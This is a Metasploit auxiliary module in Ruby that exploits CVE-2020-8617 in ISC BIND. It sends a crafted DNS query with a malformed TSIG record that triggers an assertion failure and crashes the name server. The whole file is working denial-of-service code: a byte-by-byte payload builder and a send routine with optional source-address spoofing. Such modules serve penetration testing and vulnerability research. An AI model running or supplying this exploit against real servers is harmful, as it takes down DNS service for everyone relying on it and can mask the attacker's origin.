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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Capture
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  include Msf::Auxiliary::UDPScanner
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'BIND TSIG Badtime Query Denial of Service',
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        'Description' => %q{
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          A logic error in code which checks TSIG validity can be used to
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          trigger an assertion failure in tsig.c.
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        },
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        'Author' => [
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          'Tobias Klein',  # Research and Original PoC
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          'Shuto Imai',    # msf module author
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        ],
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        'References' => [
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          ['CVE', '2020-8617'],
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          ['URL', 'https://gitlab.isc.org/isc-projects/bind9/-/issues/1703'],
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          ['URL', 'https://www.trapkit.de/advisories/TKADV2020-002.txt']
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        ],
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        'DisclosureDate' => '2020-05-19',
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        'License' => MSF_LICENSE,
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        'DefaultOptions' => { 'ScannerRecvWindow' => 0 },
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        'Notes' => {
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          'Stability' => [CRASH_SERVICE_DOWN],
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          'SideEffects' => [],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options([
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      Opt::RPORT(53),
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      OptAddress.new('SRC_ADDR', [false, 'Source address to spoof']),
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    ])
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    deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')
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  end
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  def scan_host(ip)
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    print_status("Sending packet to #{ip}")
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    if datastore['SRC_ADDR']
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      scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR'])
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    else
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      scanner_send(payload, ip, rport)
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    end
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  end
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  def payload
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    query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f65
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    query << "\x00\x00"  # Flags: 0x0000 Standard query
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    query << "\x00\x01"  # Questions: 1
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    query << "\x00\x00"  # Answer RRs: 0
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    query << "\x00\x00"  # Authority RRs: 0
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    query << "\x00\x01"  # Additional RRs: 1
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    # Domain Name
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    query << get_domain # Random DNS Name
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    query << "\x00"      # [End of name]
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    query << "\x00\x01"  # Type: A (Host Address) (1)
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    query << "\x00\x01"  # Class: IN (0x0001)
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    # Additional records. Name
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    query << "\x0alocal-ddns"
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    query << "\x00"
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    query << "\x00\xfa" # Type: TSIG (Transaction Signature) (250)
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    query << "\x00\xff" # Class: ANY (0x00ff)
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    query << "\x00\x00\x00\x00" # Time to live: 0
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    query << "\x00\x1d" # Data length: 29
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    # Algorithm Name
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    query << "\x0bhmac-sha256" # The algorithm for local-ddns is hmac-sha256
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    query << "\x00"
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    # Rest of TSIG
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    query << "\x00\x00\x00\x00\x00\x00" # Time Signed: Jan  1, 1970 00:00:00.000000000 UTC
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    query << "\x00\x00" # Fudge: 0
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    query << "\x00\x00" # MAC Size: 0
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    query << "\x00\x00" # Original Id: 0
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    query << "\x00\x10" # Error: BadSig (16)
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    query << "\x00\x00" # Other len: 0
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  end
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  def get_domain
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    domain = "\x06#{Rex::Text.rand_text_alphanumeric(6)}"
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    org = "\x03#{Rex::Text.rand_text_alphanumeric(3)}"
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    domain + org
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  end
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end
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